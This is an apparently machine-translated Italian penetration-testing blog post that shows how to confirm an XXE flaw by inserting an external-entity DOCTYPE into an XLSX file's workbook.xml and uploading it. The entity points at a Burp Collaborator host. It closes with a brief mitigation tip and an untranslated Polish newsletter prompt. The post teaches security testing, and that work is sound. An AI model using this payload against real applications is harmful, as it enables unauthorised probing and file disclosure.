Sfruttamento foglio di calcolo Xxe . XLSX

La vulnerabilità dell'entità esterna XML (XXE) è che durante l'analisi di una struttura di documenti XML denominata DTD (Document Type Definition), è possibile definire entità XML personalizzate. A seconda del motore di elaborazione XML sul lato server e della configurazione dell'ambiente, questo tipo di vulnerabilità può essere sfruttato in modo diverso. A partire dall'elenco delle directory sul sistema, dalla lettura di file di applicazioni e di sistema, dall'ottenimento di una password crittografata dell'utente dell'applicazione, dal trasferimento di file al server o dall'esecuzione di comandi di sistema.

Lo scenario classico di questo tipo di vulnerabilità presuppone che si abbia a che fare con una richiesta contenente nel nostro corpo xml a cui aggiungiamo la parte responsabile, per le definizioni della nostra entità. Questa vulnerabilità, tuttavia, può verificarsi anche quando si ha a che fare con un'applicazione che in qualche modo elabora i file excel. XLSX , Word . DOCX o PowerPoint . PPTX. Lo dobbiamo al fatto che questi tipi di file conformi a OOXML, quindi sono semplicemente imballati diversi file. XML.

Lo scenario di attacco rapido è il seguente:

  1. Creare un nuovo documento vuoto . Xlsx. Può utilizzare il "Foglio Google" per questo scopo.
google foglio

2. Aprire Burp Suite Professional -> Burp -> Burp Collaborator Client . Quindi fare clic sul pulsante "Copia negli Appunti". Nel mio caso, l'indirizzo del server era il seguente: lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net.

In alternativa, se si dispone di un IP esterno, è possibile utilizzare un semplice server HTTP in python – "python3 -m http.server 8080".

3. Aprire il file scaricato con 7zip.

xlxs

3. Modificare il file "cartella .xml" nella directory "xl" aggiungendo il codice seguente (ovviamente, sostituendo l'indirizzo del server con il proprio):

<!DOCTYPE root [ <!ENTITY % xxe SYSTEM "http://lpexqn6l2qamcw74mgerllgpzg56tv.burpcollaborator.net/"> %xxe; ]>

NOTA- In una delle applicazioni che ho testato, la vulnerabilità xxe rivelata dopo la modifica "[Content_Types].xml", quindi vale la pena controllare questo file.

edizione cartella di lavoro.xml
edizione cartella di lavoro.xml

4. Salva le modifiche e carica il file nell'app che stai testando.

5. Ora controlla al cliente collaboratore eventuali richieste:

burp collaboratore cliente

6. Goditi il :): hai appena confermato la vulnerabilità xxe nell'applicazione testata e puoi procedere per proseguirne l'uso.

Una caratteristica di protezione comune rispetto a XXE è disabilitare completamente il caricamento di entità esterne in un parser XML.

Chcesz wiedzieć więcej?

Zapisz się i bądź informowany o nowych postach (zero spamu!).
Dodatkowo otrzymasz, moją prywatną listę 15 najbardziej przydatnych narzędzi (wraz z krótkim opisem), których używam przy testach penetracyjnych.

Nigdy nie podam, nie wymienię ani nie sprzedam Twojego adresu e-mail. W każdej chwili możesz zrezygnować z subskrypcji.

Aggiungi ai preferiti : permalink.

Podziel się swoją opinią na temat artykułu